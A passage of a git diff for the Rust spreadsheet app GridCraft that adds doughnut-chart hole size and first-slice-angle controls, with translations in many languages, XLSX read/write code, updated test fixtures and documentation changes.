"Gridlines: Show" => "Quadrillage : Afficher", "Chart\nTitle" => "Titre du\ngraphique", diff --git a/crates/ui-egui/src/i18n/it.rs b/crates/ui-egui/src/i18n/it.rs index 2a79d4c7d..9a371e673 100644 --- a/crates/ui-egui/src/i18n/it.rs +++ b/crates/ui-egui/src/i18n/it.rs @@ -257,6 +257,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Legend: Bottom" => "Legenda: in basso", "Legend: Top" => "Legenda: in alto", "Legend: Right" => "Legenda: a destra", + "First slice angle" => "Angolo della prima fetta", + "Doughnut hole size" => "Dimensione del foro della ciambella", "Gridlines: None" => "Griglia: nessuna", "Gridlines: Show" => "Griglia: mostra", "Chart\nTitle" => "Titolo\ndel grafico", diff --git a/crates/ui-egui/src/i18n/ja.rs b/crates/ui-egui/src/i18n/ja.rs index 443c2be41..47fd0e9f3 100644 --- a/crates/ui-egui/src/i18n/ja.rs +++ b/crates/ui-egui/src/i18n/ja.rs @@ -266,6 +266,8 @@ pub(super) const CORE: &[(&str, &str)] = &[ ("Legend: Bottom", "凡例: 下"), ("Legend: Top", "凡例: 上"), ("Legend: Right", "凡例: 右"), + ("First slice angle", "最初の扇形の角度"), + ("Doughnut hole size", "ドーナツの穴のサイズ"), ("Gridlines: None", "目盛線: なし"), ("Gridlines: Show", "目盛線: 表示"), ("Chart\nTitle", "グラフ タイトル"), diff --git a/crates/ui-egui/src/i18n/ko.rs b/crates/ui-egui/src/i18n/ko.rs index c0052af9a..906dea54f 100644 --- a/crates/ui-egui/src/i18n/ko.rs +++ b/crates/ui-egui/src/i18n/ko.rs @@ -258,6 +258,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Legend: Bottom" => "범례: 아래쪽", "Legend: Top" => "범례: 위쪽", "Legend: Right" => "범례: 오른쪽", + "First slice angle" => "첫째 조각의 각도", + "Doughnut hole size" => "도넛 구멍 크기", "Gridlines: None" => "눈금선: 없음", "Gridlines: Show" => "눈금선: 표시", "Chart\nTitle" => "차트\n제목", diff --git a/crates/ui-egui/src/i18n/nl.rs b/crates/ui-egui/src/i18n/nl.rs index abb1d08b4..b1d415211 100644 --- a/crates/ui-egui/src/i18n/nl.rs +++ b/crates/ui-egui/src/i18n/nl.rs @@ -264,6 +264,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Legend: Bottom" => "Legenda: onder", "Legend: Top" => "Legenda: boven", "Legend: Right" => "Legenda: rechts", + "First slice angle" => "Hoek eerste punt", + "Doughnut hole size" => "Grootte van het donutgat", "Gridlines: None" => "Rasterlijnen: geen", "Gridlines: Show" => "Rasterlijnen: weergeven", "Chart\nTitle" => "Grafiek-\ntitel", diff --git a/crates/ui-egui/src/i18n/pl.rs b/crates/ui-egui/src/i18n/pl.rs index a2894dcd2..ad9c254c1 100644 --- a/crates/ui-egui/src/i18n/pl.rs +++ b/crates/ui-egui/src/i18n/pl.rs @@ -251,6 +251,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Legend: Bottom" => "Legenda: u dołu", "Legend: Top" => "Legenda: u góry", "Legend: Right" => "Legenda: z prawej", + "First slice angle" => "Kąt pierwszego wycinka", + "Doughnut hole size" => "Rozmiar otworu pączka", "Gridlines: None" => "Linie siatki: brak", "Gridlines: Show" => "Linie siatki: pokaż", "Chart\nTitle" => "Tytuł\nwykresu", diff --git a/crates/ui-egui/src/i18n/pt.rs b/crates/ui-egui/src/i18n/pt.rs index 470909afe..f78ef4cf5 100644 --- a/crates/ui-egui/src/i18n/pt.rs +++ b/crates/ui-egui/src/i18n/pt.rs @@ -258,6 +258,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Legend: Bottom" => "Legenda: Abaixo", "Legend: Top" => "Legenda: Acima", "Legend: Right" => "Legenda: À Direita", + "First slice angle" => "Ângulo da primeira fatia", + "Doughnut hole size" => "Tamanho do orifício da rosca", "Gridlines: None" => "Linhas de Grade: Nenhuma", "Gridlines: Show" => "Linhas de Grade: Exibir", "Chart\nTitle" => "Título\ndo Gráfico", diff --git a/crates/ui-egui/src/i18n/ro.rs b/crates/ui-egui/src/i18n/ro.rs index 6b0c4f737..738fc554f 100644 --- a/crates/ui-egui/src/i18n/ro.rs +++ b/crates/ui-egui/src/i18n/ro.rs @@ -258,6 +258,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Legend: Bottom" => "Legendă: jos", "Legend: Top" => "Legendă: sus", "Legend: Right" => "Legendă: dreapta", + "First slice angle" => "Unghiul primei felii", + "Doughnut hole size" => "Dimensiunea găurii gogoașei", "Gridlines: None" => "Linii de grilă: niciuna", "Gridlines: Show" => "Linii de grilă: afișare", "Chart\nTitle" => "Titlu\ndiagramă", diff --git a/crates/ui-egui/src/i18n/ru.rs b/crates/ui-egui/src/i18n/ru.rs index 2a37c8939..60141a853 100644 --- a/crates/ui-egui/src/i18n/ru.rs +++ b/crates/ui-egui/src/i18n/ru.rs @@ -260,6 +260,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Legend: Bottom" => "Легенда: снизу", "Legend: Top" => "Легенда: сверху", "Legend: Right" => "Легенда: справа", + "First slice angle" => "Угол первого сектора", + "Doughnut hole size" => "Размер отверстия кольцевой диаграммы", "Gridlines: None" => "Линии сетки: нет", "Gridlines: Show" => "Линии сетки: показать", "Chart\nTitle" => "Название\nдиаграммы", diff --git a/crates/ui-egui/src/i18n/sr.rs b/crates/ui-egui/src/i18n/sr.rs index 39555f6df..d02c66bb8 100644 --- a/crates/ui-egui/src/i18n/sr.rs +++ b/crates/ui-egui/src/i18n/sr.rs @@ -263,6 +263,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Legend: Bottom" => "Legenda: Dole", "Legend: Top" => "Legenda: Gore", "Legend: Right" => "Legenda: Desno", + "First slice angle" => "Ugao prve kriške", + "Doughnut hole size" => "Veličina rupe prstena", "Gridlines: None" => "Linije mreže: Ništa", "Gridlines: Show" => "Linije mreže: Prikaži", "Chart\nTitle" => "Naslov\ngrafikona", diff --git a/crates/ui-egui/src/i18n/tr.rs b/crates/ui-egui/src/i18n/tr.rs index d268c2e96..a58505848 100644 --- a/crates/ui-egui/src/i18n/tr.rs +++ b/crates/ui-egui/src/i18n/tr.rs @@ -367,6 +367,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Legend: Bottom" => "Gösterge: Alt", "Legend: Top" => "Gösterge: Üst", "Legend: Right" => "Gösterge: Sağ", + "First slice angle" => "İlk dilim açısı", + "Doughnut hole size" => "Donut deliği boyutu", "Gridlines: None" => "Kılavuz Çizgileri: Yok", "Gridlines: Show" => "Kılavuz Çizgileri: Göster", "Chart\nTitle" => "Grafik\nBaşlığı", diff --git a/crates/ui-egui/src/i18n/uk.rs b/crates/ui-egui/src/i18n/uk.rs index 82c2e9e5d..96070eaaf 100644 --- a/crates/ui-egui/src/i18n/uk.rs +++ b/crates/ui-egui/src/i18n/uk.rs @@ -253,6 +253,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Legend: Bottom" => "Легенда: знизу", "Legend: Top" => "Легенда: згори", "Legend: Right" => "Легенда: праворуч", + "First slice angle" => "Кут першого сегмента", + "Doughnut hole size" => "Розмір отвору пончика", "Gridlines: None" => "Лінії сітки: немає", "Gridlines: Show" => "Лінії сітки: показати", "Chart\nTitle" => "Назва\nдіаграми", diff --git a/crates/ui-egui/src/i18n/vi.rs b/crates/ui-egui/src/i18n/vi.rs index 754d4c33a..7a188a08e 100644 --- a/crates/ui-egui/src/i18n/vi.rs +++ b/crates/ui-egui/src/i18n/vi.rs @@ -265,6 +265,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Legend: Bottom" => "Chú giải: Dưới", "Legend: Top" => "Chú giải: Trên", "Legend: Right" => "Chú giải: Phải", + "First slice angle" => "Góc lát đầu tiên", + "Doughnut hole size" => "Kích thước lỗ bánh donut", "Gridlines: None" => "Đường lưới: Không", "Gridlines: Show" => "Đường lưới: Hiện", "Chart\nTitle" => "Tiêu đề\nbiểu đồ", diff --git a/crates/ui-egui/src/i18n/zh.rs b/crates/ui-egui/src/i18n/zh.rs index 7707a0cc0..601e0a1bb 100644 --- a/crates/ui-egui/src/i18n/zh.rs +++ b/crates/ui-egui/src/i18n/zh.rs @@ -258,6 +258,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Legend: Bottom" => "图例：底部", "Legend: Top" => "图例：顶部", "Legend: Right" => "图例：右侧", + "First slice angle" => "第一扇区起始角度", + "Doughnut hole size" => "圆环图内径大小", "Gridlines: None" => "网格线：无", "Gridlines: Show" => "网格线：显示", "Chart\nTitle" => "图表\n标题", diff --git a/crates/ui-egui/src/panes.rs b/crates/ui-egui/src/panes.rs index 9675d2a95..d9207cd07 100644 --- a/crates/ui-egui/src/panes.rs +++ b/crates/ui-egui/src/panes.rs @@ -178,6 +178,7 @@ fn format_chart(app: &mut SheetApp, ui: &mut Ui) { return; }; let theme = app.session.active().map(|d| d.wb.theme.clone()).unwrap_or_default(); + let lang = crate::i18n::current(ui.ctx()); ui.collapsing("Chart Title", |ui| { let field = egui::Id::unique(("gridcraft.chart_title", id)); if let Some(title) = crate::widgets::committed_text(ui, field, chart.title.as_deref().unwrap_or(""), None) { @@ -209,6 +210,20 @@ fn format_chart(app: &mut SheetApp, ui: &mut Ui) { } } }); + if matches!(chart.kind, gridcraft_chart::ChartKind::Pie | gridcraft_chart::ChartKind::Doughnut) { + let draft = egui::Id::unique(("gridcraft.chart_first_slice_draft", id)); + let current = u32::from(chart.first_slice_angle); + if let Some(angle) = chart_slider(ui, draft, current, 0..=359, lang.tr("First slice angle")) { + app.run_or_alert("chart.set", json!({"chart": id, "firstSliceAngle": angle})); + } + } + if chart.kind == gridcraft_chart::ChartKind::Doughnut { + let draft = egui::Id::unique(("gridcraft.chart_hole_size_draft", id)); + let current = u32::from(chart.hole_size); + if let Some(hole) = chart_slider(ui, draft, current, 10..=90, lang.tr("Doughnut hole size")) { + app.run_or_alert("chart.set", json!({"chart": id, "holeSize": hole})); + } + } }); ui.collapsing("Legend", |ui| { ui.horizontal(|ui| { @@ -339,3 +354,21 @@ fn format_chart(app: &mut SheetApp, ui: &mut Ui) { } }); } + +/// A chart slider that keeps the value being dragged in a per-chart draft and submits it once +/// through `chart.set` when the interaction ends, like the Size controls. Escape cancels, and a +/// value the chart already has is not sent again. +fn chart_slider(ui: &mut Ui, draft: egui::Id, value: u32, range: std::ops::RangeInclusive, label: &str) -> Option { + let mut current = ui.data_mut(|d| d.get_temp::(draft)).unwrap_or(value); + let r = ui.add(egui::Slider::new(&mut current, range).text(label)); + if r.drag_stopped() || r.clicked() || r.lost_focus() { + ui.data_mut(|d| d.remove::(draft)); + if ui.input(|i| i.key_pressed(egui::Key::Escape)) || current == value { None } else { Some(current) } + } else if r.dragged() || r.has_focus() { + ui.data_mut(|d| d.insert_temp(draft, current)); + None + } else { + ui.data_mut(|d| d.remove::(draft)); + None + } +} diff --git a/crates/xlsx/src/chart.rs b/crates/xlsx/src/chart.rs index a408da5fa..fea91cec5 100644 --- a/crates/xlsx/src/chart.rs +++ b/crates/xlsx/src/chart.rs @@ -260,6 +260,10 @@ pub fn read_chart(root: &El) -> Option { _ => LegendPos::Right, }, }; + let doughnut = plot.child("doughnutChart"); + let hole_size = doughnut.and_then(|g| g.child_val("holeSize")).and_then(|v| v.trim().parse::().ok()).unwrap_or(75).clamp(10, 90); + let first_slice_angle = + plot.child("pieChart").or(doughnut).and_then(|g| g.child_val("firstSliceAng")).and_then(|v| v.trim().parse::().ok()).unwrap_or(0) % 360; Some(Chart { id: 0, kind, @@ -276,6 +280,8 @@ pub fn read_chart(root: &El) -> Option { }), gridlines: val_axes.iter().any(|a| a.child("majorGridlines").is_some()), style: root.child_val("style").and_then(|v| v.parse().ok()).unwrap_or(2), + hole_size, + first_slice_angle, x_title: x_ax.and_then(|a| a.child("title")).and_then(rich_title), y_title: y_ax.and_then(|a| a.child("title")).and_then(rich_title), source: None, @@ -678,10 +684,12 @@ fn group_xml(g: G, series: &[(usize, &Series)], ch: &Chart, axes: (u32, u32), wb "{sers}{dl}{ax}", if stacked { "stacked" } else { "standard" } ), - G::Pie => format!("{sers}{dl}"), - G::Doughnut => { - format!("{sers}{dl}") - } + G::Pie => format!("{sers}{dl}", ch.first_slice_angle % 360), + G::Doughnut => format!( + "{sers}{dl}", + ch.first_slice_angle % 360, + ch.hole_size.clamp(10, 90) + ), G::Area { grouping } => format!("{sers}{dl}{ax}"), G::Scatter { .. } => format!("{sers}{dl}{ax}"), G::Bubble => { diff --git a/crates/xlsx/src/chartex.rs b/crates/xlsx/src/chartex.rs index ce71d4f32..de54c5942 100644 --- a/crates/xlsx/src/chartex.rs +++ b/crates/xlsx/src/chartex.rs @@ -133,6 +133,8 @@ pub fn read_chartex(root: &El) -> Option { data_table: None, gridlines: plot.kids("axis").any(|a| a.child("majorGridlines").is_some()), style: 2, + hole_size: 75, + first_slice_angle: 0, x_title: axis_title("0"), y_title: axis_title("1"), source: None, diff --git a/crates/xlsx/src/tests/chart_book_names.rs b/crates/xlsx/src/tests/chart_book_names.rs index 10edf45a4..94d148da8 100644 --- a/crates/xlsx/src/tests/chart_book_names.rs +++ b/crates/xlsx/src/tests/chart_book_names.rs @@ -78,6 +78,8 @@ fn chart_names_are_written_qualified() { data_table: None, gridlines: true, style: 2, + hole_size: 75, + first_slice_angle: 0, x_title: None, y_title: None, source: None, @@ -157,6 +159,8 @@ fn chart_names_keep_spaces_around_a_quoted_sheet_name() { data_table: None, gridlines: true, style: 2, + hole_size: 75, + first_slice_angle: 0, x_title: None, y_title: None, source: None, diff --git a/crates/xlsx/src/tests/fixtures.rs b/crates/xlsx/src/tests/fixtures.rs index 4de0be3c3..dadfc096a 100644 --- a/crates/xlsx/src/tests/fixtures.rs +++ b/crates/xlsx/src/tests/fixtures.rs @@ -551,6 +551,8 @@ fn chartex_parts_as_excel_expects_them() { data_table: None, gridlines: true, style: 2, + hole_size: 75, + first_slice_angle: 0, x_title: None, y_title: None, source: None, @@ -586,6 +588,50 @@ fn chartex_parts_as_excel_expects_them() { assert_eq!((s.name.as_deref(), s.categories.as_deref(), s.values.as_str()), (Some("Data!$B$1"), Some("Data!$A$2:$A$5"), "Data!$B$2:$B$5")); } +#[test] +fn doughnut_writes_every_series_as_a_ring_with_hole_and_angle() { + use gridcraft_model::{Chart, ChartKind, LegendPos, Series}; + let ser = |name: &str, values: &str| Series { + name: Some(name.into()), + categories: Some("Data!$A$2:$A$4".into()), + values: values.into(), + ..Default::default() + }; + let mut wb = gridcraft_model::Workbook::new(); + let mut sheet = gridcraft_model::Sheet::new("Data"); + sheet.charts.push(Chart { + id: 1, + kind: ChartKind::Doughnut, + anchor: Default::default(), + title: None, + series: vec![ser("Outer", "Data!$B$2:$B$4"), ser("Inner", "Data!$C$2:$C$4")], + legend: LegendPos::Right, + data_labels: false, + data_table: None, + gridlines: false, + style: 2, + hole_size: 25, + first_slice_angle: 180, + x_title: None, + y_title: None, + source: None, + by_rows: false, + pivot: None, + }); + wb.sheets = vec![std::sync::Arc::new(sheet)]; + let bytes = crate::write_xlsx(&wb).unwrap(); + let mut z = zip::ZipArchive::new(std::io::Cursor::new(bytes.clone())).unwrap(); + let mut cx = String::new(); + std::io::Read::read_to_string(&mut z.by_name("xl/charts/chart1.xml").unwrap(), &mut cx).unwrap(); + assert!(cx.contains(""), "{cx}"); + assert_eq!(cx.matches("").count(), 2, "one series per ring: {cx}"); + assert!(cx.contains(""), "{cx}"); + assert!(cx.contains(""), "{cx}"); + let (back, _) = crate::read_xlsx(&bytes).unwrap(); + let ch = &back.sheet(0).unwrap().charts[0]; + assert_eq!((ch.kind, ch.series.len(), ch.hole_size, ch.first_slice_angle), (ChartKind::Doughnut, 2, 25, 180)); +} + /// #377: a WordArt-style text box keeps its run size, bold, typeface, text fill and outline, its /// centring (horizontal and vertical) and its "no outline" shape line, through a round trip. #[test] diff --git a/crates/xlsx/src/tests/literal_category_roundtrip.rs b/crates/xlsx/src/tests/literal_category_roundtrip.rs index 3a6f9f712..a514fa6ce 100644 --- a/crates/xlsx/src/tests/literal_category_roundtrip.rs +++ b/crates/xlsx/src/tests/literal_category_roundtrip.rs @@ -44,6 +44,8 @@ fn literal_category_with_separators_survives_save() { data_table: None, gridlines: true, style: 2, + hole_size: 75, + first_slice_angle: 0, x_title: None, y_title: None, source: None, diff --git a/crates/xlsx/src/tests/multilevel_category_roundtrip.rs b/crates/xlsx/src/tests/multilevel_category_roundtrip.rs index 7a375a438..f4c118f2b 100644 --- a/crates/xlsx/src/tests/multilevel_category_roundtrip.rs +++ b/crates/xlsx/src/tests/multilevel_category_roundtrip.rs @@ -44,6 +44,8 @@ fn workbook(categories: &str, values: &str) -> Workbook { data_table: None, gridlines: true, style: 2, + hole_size: 75, + first_slice_angle: 0, x_title: None, y_title: None, source: None, diff --git a/crates/xlsx/src/tests/roundtrip.rs b/crates/xlsx/src/tests/roundtrip.rs index 4eb6c3cfe..e2072fe44 100644 --- a/crates/xlsx/src/tests/roundtrip.rs +++ b/crates/xlsx/src/tests/roundtrip.rs @@ -414,6 +414,8 @@ fn sample() -> Workbook { data_table: None, gridlines: true, style: 2, + hole_size: 75, + first_slice_angle: 0, x_title: Some("Region".into()), y_title: Some("Amount".into()), source: None, @@ -453,6 +455,9 @@ fn sample() -> Workbook { }); s.charts.push(combo); s.charts.push(Chart { kind: ChartKind::Waterfall, legend: LegendPos::None, title: None, ..base_chart.clone() }); + let mut doughnut = Chart { kind: ChartKind::Doughnut, hole_size: 25, first_slice_angle: 180, legend: LegendPos::Right, ..base_chart.clone() }; + doughnut.series.push(base_chart.series[0].clone()); + s.charts.push(doughnut); wb.sheets = vec![Arc::new(s)]; let mut s2 = Sheet::new("Hidden"); @@ -594,6 +599,7 @@ fn assert_drawing_and_chart_roundtrip(a: &Sheet, b: &Sheet) { assert_eq!(y.title, x.title); assert_eq!(y.legend, x.legend); assert_eq!(y.data_labels, x.data_labels); + assert_eq!((y.hole_size, y.first_slice_angle), (x.hole_size, x.first_slice_angle)); if !matches!(x.kind, ChartKind::Pie | ChartKind::Doughnut) { assert_eq!(y.gridlines, x.gridlines); assert_eq!((&y.x_title, &y.y_title), (&x.x_title, &x.y_title)); diff --git a/crates/xlsx/src/tests/smooth_roundtrip.rs b/crates/xlsx/src/tests/smooth_roundtrip.rs index 1a418bb51..96c346d31 100644 --- a/crates/xlsx/src/tests/smooth_roundtrip.rs +++ b/crates/xlsx/src/tests/smooth_roundtrip.rs @@ -32,6 +32,8 @@ fn smooth_line_setting_round_trips() { data_table: None, gridlines: true, style: 2, + hole_size: 75, + first_slice_angle: 0, x_title: None, y_title: None, source: None, @@ -51,6 +53,8 @@ fn smooth_line_setting_round_trips() { data_table: None, gridlines: true, style: 2, + hole_size: 75, + first_slice_angle: 0, x_title: None, y_title: None, source: None, diff --git a/crates/xlsx/src/tests/trendline_roundtrip.rs b/crates/xlsx/src/tests/trendline_roundtrip.rs index 2a1e19d05..f5bf7feae 100644 --- a/crates/xlsx/src/tests/trendline_roundtrip.rs +++ b/crates/xlsx/src/tests/trendline_roundtrip.rs @@ -56,6 +56,8 @@ fn chart(id: u32, kind: ChartKind, trendlines: Vec) -> Chart { data_table: None, gridlines: true, style: 2, + hole_size: 75, + first_slice_angle: 0, x_title: None, y_title: None, source: None, diff --git a/docs/chart-parity.md b/docs/chart-parity.md index be5a7fa52..311bd2635 100644 --- a/docs/chart-parity.md +++ b/docs/chart-parity.md @@ -1,13 +1,15 @@ # Chart parity -> **Last reviewed:** 2026-10-18 · **Last updated:** 2026-11-02 · **Change:** minor (charts resize from eight handles; earlier: chart data tables, legend keys and borders, native XLSX round-trip and print/PDF; earlier: selected chart source outlines stay beneath floating objects) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-18 · **Last updated:** 2026-11-02 · **Change:** minor (doughnut charts: every series is a concentric ring, the first series innermost; hole size and first slice angle kept; rotated slices cover their own sweep; legend names categories; earlier: charts resize from eight handles, chart data tables, legend keys and borders, native XLSX round-trip and print/PDF; earlier: selected chart source outlines stay beneath floating objects) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's chart types and chart elements against GridCraft. Part of [target-app-parity.md](target-app-parity.md). **Breadth ~50%, ready ~30%, 40–60 h** (estimated). Sources: `crates/model/src/features.rs` (`ChartKind`, `Chart`, `Series`), `crates/chart/src` (layout and rendering), `crates/xlsx/src/chart.rs` (DrawingML chart parts), merged PRs #62, #116, -#158 and #161, and issue #190. +#158 and #161, and issue #190. Behaviour checked against Microsoft's +[Pareto](https://support.microsoft.com/en-us/excel/create-a-pareto-chart) and +[pie/doughnut](https://support.microsoft.com/en-us/excel/add-a-pie-chart) support pages. ## Chart types @@ -16,7 +18,7 @@ Sources: `crates/model/src/features.rs` (`ChartKind`, `Chart`, `Series`), `crate | Column | clustered, stacked, 100% stacked, 3-D clustered/stacked/100%, 3-D column | 3 of 7 | no 3-D | | Bar | clustered, stacked, 100%, 3-D ×3 | 3 of 6 | no 3-D | | Line | line, stacked, 100% stacked, with markers ×3, 3-D line | 3 of 7 (line, with markers, stacked) | no 100% stacked; smoothed lines landed (#62) | -| Pie | pie, 3-D pie, pie of pie, bar of pie, doughnut | 2 of 5 (pie, doughnut) | no exploded, pie of pie, bar of pie | +| Pie | pie, 3-D pie, pie of pie, bar of pie, doughnut | 2 of 5 (pie, doughnut) | no exploded, pie of pie, bar of pie; doughnut draws every series as a concentric ring, first series innermost; its legend names categories, matching Excel's default vary-by-category colours | | Area | area, stacked, 100%, 3-D ×3 | 3 of 6 | no 3-D; 100% stacked drawn as shares of each category's total and kept as `percentStacked` in XLSX | | X Y (scatter) | markers, smooth lines (±markers), straight lines (±markers) | 2 of 5 | no smooth lines | | Bubble | bubble, 3-D bubble | 1 of 2 | | @@ -45,6 +47,7 @@ Sources: `crates/model/src/features.rs` (`ChartKind`, `Chart`, `Series`), `crate | Gridlines | major/minor per axis, formatting | one on/off flag | | Axis options | min/max/units, log scale, reverse order, crossing point, display units, date axis, number format | **missing** (auto only) | | Multi-level category axis (a category range two or more columns wide beside the values: year beside month) | the outer levels grouped under the labels with separators | read (`multiLvlStrRef`), drawn (rows under the labels; columns beside them in bar charts; up to three outer levels), written back with Excel's level caches | +| Doughnut hole size, first slice angle | 10–90% hole (Excel default 75%), 0–359° first slice | Format Chart pane sliders; read from and written to `c:holeSize` / `c:firstSliceAng`; documents saved before the setting existed keep their old 50% hole | | Secondary axis | any series | line series in combo charts | | Trendlines | linear, exponential, logarithmic, polynomial, power, moving average, equation and R² | all six types, several per series, name, forward/backward forecast, set intercept, equation and R² label, line colour/width/dash; read, written and drawn on 2-D column, bar, line, area, scatter and bubble series; `chart.addElement` `trendline` adds/removes them. No Format Trendline pane, label position/number format not kept | | Error bars | fixed, %, standard deviation/error, custom | **missing** | @@ -109,6 +112,7 @@ are (#1686). Such series get no `numCache`/`strCache` on save (#1690). | 2026-10-29 | minor | Selected charts highlight their source cells beneath floating objects, so the blue outline no longer crosses the chart; uncovered source cells remain highlighted (#2861) | | 2026-10-24 | minor | 100% Stacked Area: inserted from the ribbon and All Charts, drawn as shares of each category's total, read and written as `percentStacked` | | 2026-10-18 | trivial | Stale notes: stock/combo, treemap/sunburst, box and waterfall kinds survive XLSX round-trip (PRs #158, #161) | +| 2026-10-18 | minor | Doughnut charts: every series is a ring (first series innermost), hole size and first slice angle modelled, editable and round-tripped; rotated slices split at 12 o'clock without overlap; legend names categories like Excel's default (#1823) | | 2026-10-16 | trivial | Series that refer to defined names (`[0]!Name`, `Sheet!Name`) resolve instead of showing `#NAME?`, and are saved qualified, as Excel needs (#1686) | | 2026-10-16 | minor | Box & whisker quartiles default to exclusive, honor each series on draw and XLSX round-trip; `chart.set {quartiles}` changes the method (#1453) | | 2026-10-13 | minor | Multi-level category axes: read, drawn (outer levels under or beside the labels), written back with level caches | diff --git a/docs/roadmap.md b/docs/roadmap.md index 62e1735f7..458af936a 100644 --- a/docs/roadmap.md +++ b/docs/roadmap.md @@ -28,7 +28,7 @@ workflow, would make GridCraft pre-alpha. | Open a colleague's XLSX, edit, save, hand it back | partial, not blocking | Typical workbooks open and save with cells, styles, CF, validation, tables, names and pivots; unmodelled parts are dropped with a warning (gap #3); Excel-side repair prompts unverified (gap #1); ~100 MB files fail (#175) | 0 for alpha (gaps #1–#3 are beta gates) | | Format and present: number formats, styles, conditional formatting, print or PDF | yes | Full number-format language, 47 cell styles, all CF kinds, Page Break Preview, PDF export and printing. PDF can't carry non-Latin text (gap #5) | 0 | | Analyze: sort, filter, tables, PivotTable | yes | Multi-level sort, AutoFilter, tables with totals, PivotTables with field list, layouts, grouping, refresh and XLSX round-trip. Calculated fields done; slicers missing (gap #8) | 0 | -| Chart the data | partial, not blocking | Column, bar, line, pie, area, scatter, combo, histogram, box, waterfall, funnel, treemap, sunburst and stock charts are created, edited and survive save and reopen; trendlines are drawn; no axis options (gap #4) | 0 for alpha | +| Chart the data | partial, not blocking | Column, bar, line, pie, area, scatter, combo, histogram, box, waterfall, funnel, treemap, sunburst and stock charts are created, edited and survive save and reopen; doughnut charts draw every series as a ring (first series innermost) with editable hole size and first slice angle; trendlines are drawn; no axis options (gap #4) | 0 for alpha | | Import and export CSV | yes | Encoding and delimiter detection on read, CSV/TSV write; exports raw rather than displayed values (gap #19) | 0 | **Passes:** every core workflow works end to end on macOS with save and reopen; the two partial diff --git a/docs/target-app-parity.md b/docs/target-app-parity.md index c18df8d40..9ac4ea015 100644 --- a/docs/target-app-parity.md +++ b/docs/target-app-parity.md @@ -86,10 +86,8 @@ performance 8, stability 8, localization 4, hardware 2, platforms 2, ecosystem 2 | Cell formatting, styles, conditional formatting | 10 | ~95% | ~80% | 8–14 | Full number-format language, borders, 47 cell styles, 60 table styles, all CF rule kinds including data bars, colour scales and icon sets. Gaps: font weights beyond regular/bold (#168), system fonts list (#4), themes | | Sort, filter, tables, validation, outline | 8 | ~82% | ~70% | 10–16 | Multi-level sort, AutoFilter, Advanced Filter, tables with totals, validation, outline, subtotals, consolidate. Advanced Filter copy-to preserves cells outside its result and rejects worksheet overflow (#1031). Bugs: subtotal header (#131), validation edits (#129), table style panic caught (#130); no slicers on tables | | PivotTables | 7 | ~65% | ~45% | 25–40 | Insert/Recommended, field list, three layouts, values on rows or columns, date grouping, show-values-as, refresh, calculated fields, XLSX round-trip. Missing: slicers, timelines, calculated items, PivotCharts, value/label filters, number grouping, GETPIVOTDATA, data-model pivots. Round-trip never checked in Excel | -| Charts and sparklines | 8 | ~50% | ~30% | 40–60 | 25 chart kinds, all 2-D. The chart model holds title, legend position, a data-labels flag, gridlines flag, axis titles and chart data tables (legend keys, borders, XLSX round-trip and print/PDF); no axis scaling, trendlines, error bars, per-point formatting, chart sheets, 3-D, surface, map, Pareto. Several kinds don't survive XLSX round trip (open PRs #158, #161). [chart-parity.md](chart-parity.md) | +| Charts and sparklines | 8 | ~50% | ~30% | 40–60 | 25 chart kinds, all 2-D. Doughnut charts draw every series as a concentric ring (first series innermost), with editable hole size and first slice angle. The chart model holds title, legend position, a data-labels flag, gridlines flag, axis titles and chart data tables (legend keys, borders, XLSX round-trip and print/PDF); no axis scaling, error bars, per-point formatting, chart sheets, 3-D, surface, map, Pareto. Kinds survive XLSX round trip (#158, #161), except stock charts: only 3–4 series are a stock chart, and any other count is written and reimported as a line chart. [chart-parity.md](chart-parity.md) | | Page layout, print, PDF | 5 | ~80% | ~55% | 12–20 | Page setup, print titles, breaks, page order, Page Break Preview, headers/footers, PDF export and printing. Paper sizes match Japanese Excel: B4/B5/B6 are the JIS sizes, ISO B4/B5/B6 stay reachable by name, and Japanese Postcard (はがき), Japanese Double Postcard (往復はがき), the chou/kaku envelopes and A6 are available. No true Page Layout view; the PDF writer uses only the 14 standard fonts without embedding (no CJK or other non-Latin text in PDF); web print only exports (#141, #143) | -| Charts and sparklines | 8 | ~50% | ~30% | 40–60 | 25 chart kinds, all 2-D. The chart model holds title, legend position, a data-labels flag, gridlines flag, axis titles and chart data tables (legend keys, borders, XLSX round-trip and print/PDF); no axis scaling, error bars, per-point formatting, chart sheets, 3-D, surface, map, Pareto. Kinds survive XLSX round trip (#158, #161). [chart-parity.md](chart-parity.md) | -| Page layout, print, PDF | 5 | ~80% | ~55% | 12–20 | Page setup, print titles, breaks, page order, Page Break Preview, headers/footers, PDF export and printing. No true Page Layout view; the PDF writer uses only the 14 standard fonts without embedding (no CJK or other non-Latin text in PDF); web print only exports (#141, #143) | | What-if and analysis | 4 | ~50% | ~40% | 22–35 | Goal Seek, Scenario Manager, data tables, Analysis ToolPak (all 19 tools, no charts), Solver (Simplex LP, a local nonlinear method and Evolutionary; Answer, Sensitivity and Limits reports; Load/Save Model, Reset All and Solver Options; no Population report), Forecast Sheet. Missing: Analyze Data | | Get & Transform, external data, data model | 5 | ~15% | ~10% | 60–100 | Import of CSV/TSV, JSON, HTML. No Power Query editor, no From Web, database or folder sources, no connections or refresh, no relationships or data model, no external workbook links (dropped with a warning) | | Insert objects | 3 | ~55% | ~45% | 25–40 | Pictures, 8 shape kinds (Excel has ~170), text boxes, own icon set, ink with Ink to Shape, hyperlinks, checkboxes, form buttons, scroll bars and spin buttons, equations (LaTeX with a live preview, Office Math in xlsx, Symbol font in PDF). Missing: SmartArt, WordArt, signature line, objects, 3-D models, screenshot, pictures in cells (PR #105) | @@ -309,8 +307,9 @@ The inventory carried over from the 2026-10-07 ROADMAP.md, updated for what land - What-if: Goal Seek, scenarios, data tables. Spelling (system word list) and thesaurus. - Draw: pen, highlighter, eraser, 